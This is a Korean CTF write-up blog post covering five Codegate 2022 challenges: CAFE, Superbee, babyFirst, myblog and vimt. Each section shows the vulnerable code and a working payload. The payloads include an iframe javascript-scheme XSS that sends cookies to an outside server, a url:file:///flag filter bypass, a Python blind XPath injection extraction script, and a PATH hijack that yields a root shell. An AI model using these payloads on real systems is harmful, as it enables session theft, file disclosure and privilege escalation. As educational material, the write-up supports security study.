Profile

i love cat

as3617

Codegate 2022 Preliminary writeup

CAFE

XSS 문제다. 하지만

image

bot 코드에 지워지지 않은 admin의 패스워드로 인해 로그인하고 나면 손쉽게 플래그를 획득할 수 있다. 인텐 풀이는 다음과 같다.

function filterHtml($content) {
    $result = '';

    $html = new simple_html_dom();
    $html->load($content);
    $allowTag = ['a', 'img', 'p', 'span', 'br', 'hr', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'strong', 'em', 'code', 'iframe'];

    foreach($allowTag as $tag){
      foreach($html->find($tag) as $element) {
        switch ($tag) {
          case 'a':
            $result .= '<a href="' . str_replace('"', '', $element->href) . '">' . htmlspecialchars($element->innertext) . '</a>';
            break;
          case 'img':
            $result .= '<img src="' . str_replace('"', '', $element->src) . '">' . '</img>';
            break;
          case 'p':
          case 'span':
          case 'b':
          case 'h1':
          case 'h2':
          case 'h3':
          case 'h4':
          case 'h5':
          case 'h6':
          case 'strong':
          case 'em':
          case 'code':
            $result .= '<' . $tag . '>' . htmlspecialchars($element->innertext) . '</' . $tag . '>';
            break;
          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;
        }
      }
    }
    return $result;
  }

/libs/utils.php의 filterHtml 코드를 보면 사용가능한 태그들이 한정되어있다. a tag, img 태그 등 여러 태그가 사용 가능한데 double quote를 지우기 때문에 임의의 attribute를 탈출하는 것은 힘들다. 그럼 이제 사용가능한 것은 iframe인데 iframe의 src 속성에 들어가는 url은 php의 parse_url함수를 이용하여 host부분만 검사하는 것을 알 수 있다. scheme 쪽은 검사하지 않기 때문에 javascript scheme을 사용하는 것이 가능한데 이때 간단한 트릭을 사용하면 임의의 함수를 실행하는 것이 가능하다.

image

보면 절대 실행이 안될 것 같은 페이로드 임에도 script가 정상적으로 실행이 된다.

image

javascript: scheme뒤에 오는 //는 한 줄 주석이기 때문에 뒤에 오는 aaaa.com#까지를 주석처리하고 그 뒤의 개행으로 인해 console.log(1)은 주석처리가 되지 않아서 정상적으로 실행이 된 것을 볼 수 있다. 이를 이용하면 iframe src에 우리가 원하는 url을 넣고 script를 실행하여 admin의 세션을 탈취하는 것이 가능하다.

Payload : <iframe src="javascript://youtube.com#%0anavigator.sendBeacon('myserver',document.cookie)"></iframe>
FLAG : codegate2022{4074a143396395e7196bbfd60da0d3a7739139b66543871611c4d5eb397884a9}

Superbee

이것도 언인텐으로 인해 풀이수가 굉장히 많다.
admin의 패스워드가 password라서 로그인하면 그냥 플래그를 얻을 수 있다.
인텐 풀이는 아래와 같다.

func (this *BaseController) Prepare() {
    controllerName, _ := this.GetControllerAndAction()
    session := this.Ctx.GetCookie(Md5("sess"))

    if controllerName == "MainController" {
        if session == "" || session != Md5(admin_id + auth_key) {
            this.Redirect("/login/login", 403)
            return
        }
    } else if controllerName == "LoginController" {
        if session != "" {
            this.Ctx.SetCookie(Md5("sess"), "")
        }
    } else if controllerName == "AdminController" {
        domain := this.Ctx.Input.Domain()

        if domain != "localhost" {
            this.Abort("Not Local")
            return
        }
    }
}

main.go를 보면 각 controller로 routing해주기 전에 여러 체크 로직이 존재하는 것을 알 수 있다.

func (this *MainController) Index() {
    this.TplName = "index.html"
    this.Data["app_name"] = app_name
    this.Data["flag"] = flag
    this.Render()
}

flag를 얻으려면 MainController에 접근해야하는데 admin의 password를 모르고 있는 상황이기 때문에 접근이 불가능하다.

func (this *LoginController) Auth() {
    id := this.GetString("id")
    password := this.GetString("password")

    if id == admin_id && password == admin_pw {
        this.Ctx.SetCookie(Md5("sess"), Md5(admin_id + auth_key), 300)

        this.Ctx.WriteString("<script>alert('Login Success');location.href='/main/index';</script>")
        return
    }
    this.Ctx.WriteString("<script>alert('Login Fail');location.href='/login/login';</script>")
}

Auth 쪽을 보면 로그인이 성공했을 때 세션 값을 adminid + auth_key를 md5한 값으로 설정하는 것을 알 수 있다.
admin의 id는 admin이기 때문에 auth_key만 구하면 되는데

func (this *AdminController) AuthKey() {
    encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
    this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

AuthKey함수에서 auth_key를 aes로 암호화한 값을 리턴해주는 것을 알 수 있다.
그런데 잘 보면 auth_crypt_key 값은 app.conf에 설정이 안되있기 때문에 null이라는 것을 알 수 있다.
그럼 만약 해시를 구한다면 간단하게 decrypt할 수 있다.

} else if controllerName == "AdminController" {
        domain := this.Ctx.Input.Domain()

        if domain != "localhost" {
            this.Abort("Not Local")
            return
        }
    }

그럼 이제 해당 부분에 접근하려면 위의 조건 문을 통과해야하는데 이는 간단하게 Host 부분을 localhost로 수정해서 리퀘스트를 보내는 것으로 해결할 수 있다. 그럼 이제 encrypt된 hash를 얻을 수 있고 decrypt하여 auth_key를 구한 다음 session을 만들어서 MainController에 접근하면 플래그를 얻을 수 있다.

FLAG : codegate2022{d9adbe86f4ecc93944e77183e1dc6342}

babyFirst

jsp로 만들어진 문제다.

취약점은 아래의 코드에서 발생한다.

private static String lookupImg(String memo) {
    Pattern pattern = Pattern.compile("(\\[[^\\]]+\\])");
    Matcher matcher = pattern.matcher(memo);
    String img = "";
    if (matcher.find()) {
      img = matcher.group();
    } else {
      return "";
    } 
    String tmp = img.substring(1, img.length() - 1);
    tmp = tmp.trim().toLowerCase();
    pattern = Pattern.compile("^[a-z]+:");
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith("file"))
      return ""; 
    String urlContent = "";
    try {
      URL url = new URL(tmp);
      BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
      String inputLine = "";
      while ((inputLine = in.readLine()) != null)
        urlContent = urlContent + inputLine + "\n"; 
      in.close();
    } catch (Exception e) {
      return "";
    } 
    Base64.Encoder encoder = Base64.getEncoder();
    try {
      String encodedString = new String(encoder.encode(urlContent.getBytes("utf-8")));
      memo = memo.replace(img, "<img src='data:image/jpeg;charset=utf-8;base64," + encodedString + "'><br/>");
      return memo;
    } catch (Exception e) {
      return "";
    } 
  }

lookupImg함수에서 임의의 url로 요청을 보낼 수 있는데 해당 부분을 이용하면 내부 파일에 접근하여 flag를 읽어올 수 있다.
일단 URL함수에서 사용 가능한 protocol에는 아래의 것이 있다.

http
htts
ftp
file
jar

일단 file scheme이 사용가능한데 if (!matcher.find() || matcher.group().startsWith("file")) 와 같이 file scheme으로 시작하는 경우 lookup을 안한다. 일단 file scheme을 사용하는 것은 맞는 것 같아서 이를 중점으로 java의 url.openstream코드를 살펴보았다.
그리고 재미있는 부분을 찾을 수 있었다.

image

https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/java/net/URL.java#L533

url:로 시작하면 시작 글자를 4글자 뒤로 옮긴다. 그럼 위의 필터를 우회해서 플래그를 읽을 수 있을 것이다.

Payload : [url:file:///flag]
FLAG : codegate2022{8953bf834fdde34ae51937975c78a895863de1e1}

myblog

이 문제도 jsp로 만들어졌다.
취약점은 doReadArticle에서 터진다.

private String[] doReadArticle(HttpServletRequest req) {
    String id = (String)req.getSession().getAttribute("id");
    String idx = req.getParameter("idx");
    if ("null".equals(id) || idx == null)
      return null; 
    File userArticle = new File(this.tmpDir + "/article/", id + ".xml");
    try {
      InputSource is = new InputSource(new FileInputStream(userArticle));
      Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is);
      XPath xpath = XPathFactory.newInstance().newXPath();
      String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING);
      String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING);
      title = decBase64(title.trim());
      content = decBase64(content.trim());
      return new String[] { title, content };
    } catch (Exception e) {
      System.out.println(e.getMessage());
      return null;
    } 
  }

대놓고 xpath injection이 터진다. 근데 플래그는 전혀 다른 곳에 있다.

FROM ubuntu:20.04

RUN apt-get -y update && apt-get -y install software-properties-common

RUN apt-get install -y openjdk-11-jdk

RUN apt-get -y install wget
RUN mkdir /usr/local/tomcat
RUN wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.75/bin/apache-tomcat-8.5.75.tar.gz -O /tmp/tomcat.tar.gz
RUN cd /tmp && tar xvfz tomcat.tar.gz
RUN cp -Rv /tmp/apache-tomcat-8.5.75/* /usr/local/tomcat/
RUN rm -rf /tmp/* && rm -rf /usr/local/tomcat/webapps/

COPY src/ROOT/ /usr/local/tomcat/webapps/ROOT/

COPY start.sh /start.sh
RUN chmod +x /start.sh

RUN echo 'flag=codegate2022{md5(flag)}' >> /usr/local/tomcat/conf/catalina.properties

CMD ["/start.sh"]

flag는 catalina.properties에 들어가있다. 코드에는 flag 내용을 글로 작성해준다거나 그러한 것이 없기 때문에 뭔가 트릭이 필요했고 jdk의 소스코드를 읽어보았다.

https://github.com/JetBrains/jdk8u_jaxp/tree/master/src/com/sun/org/apache/xpath/internal

Function을 위주로 확인해보았는데 https://github.com/JetBrains/jdk8u_jaxp/blob/master/src/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java
FuncSystemProperty라는 흥미로운 파일을 찾을 수 있었다.
그리고 이름에서 알 수 있듯이 https://runebook.dev/ko/docs/xslt_xpath/xpath/functions/system-property 역시나 system 속성을 리턴해주는 함수였다.
그럼 이제 xpath injection을 할 때 system property를 불러오는 것이 가능하기 때문에 sql injection 하듯이 페이로드 짜서 플래그 뽑아주면 된다.

import requests
import string

pw=""
a=string.printable
a=a[:-38] + "{}"
url = "http://3.39.79.180/blog/read?idx="
cookies = {'JSESSIONID':'0736D763FF412E3286ED4ACB78613F95'}
for i in range(1,60):
    url = "http://3.39.79.180/blog/read?idx="
    for j in a:
        print(pw + j)
        url="http://3.39.79.180/blog/read?idx=' or substring(system-property('flag'),"+str(i)+',1)="'+str(j)+'" or \''
        res=requests.get(url,cookies=cookies)
        res = res.text
        if "asdf" in res:
            pw+=j
            break
        else: pass
print(pw)
FLAG : codegate2022{bcbbc8d6c8f7ea1924ee108f38cc000f}

vimt

vim을 직접 구현한 것 같은 프로그램을 주는데 키보드를 누를 때마다 이상한 문자들이 적힌다. 코드를 분석해보면 compile명령을 이용하여 우리가 작성한 파일을 gcc로 컴파일 할 수 있는데 아마도 우리가 원하는 대로 글자를 쓰도록 프로그래밍해야하는 것 같았다. 근데 그러기엔 분석이 너무 복잡해서 다른 방법을 이용하였다.

image

간단하다. 쉘을 실행하는 코드가 담긴 파일을 컴파일 한 뒤 env에 PATH를 조작하여 문제 파일에서 compile 명령을 실행했을 때 우리가 컴파일한 파일이 실행되도록 하는 것이다.

#include <unistd.h>

int main()
{
    setuid(0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

이 코드를 /tmp 폴더에 생성하고 gcc로 컴파일 한 다음에 env의 PATH를 /tmp로 설정해주면 될 것이다. 근데 이후에 문제가 한차례 수정되면서 /tmp폴더에 권한이 빠졌다. 그래도 /var/tmp에는 여전히 권한이 남아있기 때문에 /var/tmp에서 해주면 된다.

image

)

image

시나리오 대로 쉘을 획득하였고 플래그를 읽을 수 있었다.

Payload :
ctf@52bad4c6c59c:~$ echo "#include <unistd.h>" > /var/tmp/a.c
ctf@52bad4c6c59c:~$ echo 'int main() { setuid(0); execl("/bin/bash", "bash", (char *)NULL); return 0; }' >> /var/tmp/a.c
ctf@52bad4c6c59c:~$ gcc /var/tmp/a.c -o /var/tmp/gcc
ctf@52bad4c6c59c:~$ export PATH=/var/tmp
ctf@52bad4c6c59c:~$ ./app

- >

ESC + compile + enter

- > 

/bin/cat flag
FLAG : codegate2022{e63d0f9d86ddabe726db226be96548890e0d9408376a3e43011e1a12e1315168111e5535733c1155ec5b4e78b711aeef44621c8e}

'ctf writeup' 카테고리의 다른 글

2022 Fall GoN Open Qual CTF writeup  (2) 2022.09.01
LINE CTF 2022 web writeup  (0) 2022.03.27
Real World CTF 4th - web writeup  (0) 2022.01.30
m0leconCTF 2021 final web writeup  (0) 2021.12.04
HK CERT CTF 2021 writeup - WEB  (0) 2021.11.14